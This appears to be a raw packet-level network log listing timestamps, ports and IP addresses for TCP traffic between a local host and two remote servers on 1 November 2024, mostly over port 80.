Nov 1, 2024 05:02:20.929579973 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.929610968 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.929621935 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.929622889 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.929641008 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.929658890 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.929934025 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.929945946 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.929964066 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.929979086 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.929991007 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.929999113 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.930025101 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.930352926 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.930396080 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.975390911 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.975419044 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.975430965 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.975467920 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.975541115 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.975605011 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.975605965 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.975617886 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.975646019 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.044329882 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.044343948 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.044399977 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.044410944 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.044439077 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.044462919 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.044513941 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.044516087 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.044528961 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.044564962 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.046029091 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.046052933 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.046099901 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.046101093 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.046135902 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.046205044 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.046216965 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.046255112 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.046336889 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.046453953 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.046482086 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.046500921 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.046514034 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.046586990 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.046664953 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.046668053 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.046681881 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.046710968 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.046720982 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.046788931 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.046968937 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.047018051 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.047044992 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.047056913 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.047091007 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.047105074 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.047219992 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.047231913 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.047264099 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.047275066 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.047410011 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.051089048 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.092529058 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.092554092 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.092569113 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.092592001 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.092617989 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.092700005 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.092713118 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.092740059 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.092770100 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.092859030 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.092940092 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.140500069 CET	443	59847	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:21.140608072 CET	59847	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:21.141844988 CET	59847	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:21.141858101 CET	443	59847	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:21.142079115 CET	443	59847	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:21.143383026 CET	59847	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:21.143464088 CET	59847	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:21.143486977 CET	59847	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:21.143498898 CET	443	59847	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:21.161453962 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.161515951 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.161519051 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.161540031 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.161581039 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.161581039 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.161591053 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.161650896 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.161705017 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.161720037 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.161756992 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.163100958 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.163146973 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.163161039 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.163198948 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.163203955 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.163235903 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.163288116 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.163336039 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.163360119 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.163521051 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.163543940 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.163558006 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.163568020 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.163578033 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.163597107 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.163726091 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.163784027 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.163799047 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.163824081 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.163846016 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.163887978 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.164124966 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.164170980 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.164182901 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.164199114 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.164237022 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.164283037 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.165091991 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.205044985 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.205136061 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.205156088 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.205176115 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.205216885 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.209453106 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.209474087 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.209494114 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.209517956 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.209538937 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.209567070 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.209583044 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.209603071 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.209634066 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.209642887 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.209881067 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.209897041 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.209933996 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.209945917 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.278486967 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.278534889 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.278551102 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.278585911 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.278637886 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.278650999 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.278682947 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.278697014 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.278708935 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.278716087 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.278736115 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.278748989 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.280076981 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.280108929 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.280124903 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.280132055 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.280139923 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.280164003 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.280179024 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.280261993 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.280302048 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.280354023 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.280369043 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.280406952 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.280524969 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.280569077 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.280589104 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.280603886 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.280630112 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.280641079 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.280803919 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.280848026 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.280864000 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.280879974 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.280905008 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.280915022 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.280973911 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.281089067 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.281169891 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.281209946 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.281229019 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.281244040 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.281270027 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.281281948 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.281337976 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.286974907 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.322148085 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.322202921 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.322217941 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.322241068 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.322321892 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.322367907 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.326606989 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.326688051 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.326711893 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.326736927 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.326848984 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.326864004 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.326890945 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.326929092 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.370228052 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.370367050 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.370389938 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.370484114 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.370541096 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.396853924 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.396871090 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.396887064 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.396975994 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.397007942 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.397007942 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.397021055 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.397037983 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.397044897 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.397063017 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.397089958 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.397192955 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.397231102 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.398526907 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.398540020 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.398562908 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.398588896 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.398612022 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.398714066 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.398729086 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.398745060 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.398757935 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.398767948 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.398789883 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.399030924 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.399044037 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.399066925 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.399079084 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.399116993 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.399183989 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.399199009 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.399214029 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.399246931 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.399265051 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.399507046 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.399693012 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.399708033 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.399724960 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.399739981 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.399765015 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.399832964 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.399878979 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.439172983 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.439202070 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.439218044 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.439280987 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.439332962 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.443547964 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.443566084 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.443588018 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.443600893 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.443613052 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.443630934 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.443634987 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.443666935 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.443706036 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.443743944 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.443747044 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.443778038 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.443841934 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.443865061 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.443892002 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.443903923 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.486125946 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.486171007 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.486182928 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.486183882 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.486218929 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.486218929 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.512953997 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.513025045 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.513042927 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.513042927 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.513072968 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.513098001 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.513200998 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.513241053 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.513276100 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.513288021 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.513330936 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.514242887 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.514300108 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.514318943 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.514332056 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.514374018 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.514435053 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.514446974 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.514476061 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.514487028 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.514585972 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.514615059 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.514635086 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.514651060 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.514741898 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.514754057 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.514806032 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.514858961 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.514905930 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.514956951 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.514971972 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.515003920 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.515017033 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.515078068 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.515166044 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.515206099 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.515219927 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.515232086 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.515247107 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.515250921 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.515271902 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.515300989 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.556288004 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.556351900 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.556364059 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.556389093 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.556412935 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.560524940 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.560570002 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.560575962 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.560600996 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.560656071 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.560667038 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.560693979 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.560707092 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.560730934 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.560767889 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.560791016 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.560828924 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.560832977 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.560863018 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.603250027 CET	80	59845	185.215.113.16	192.168.2.5
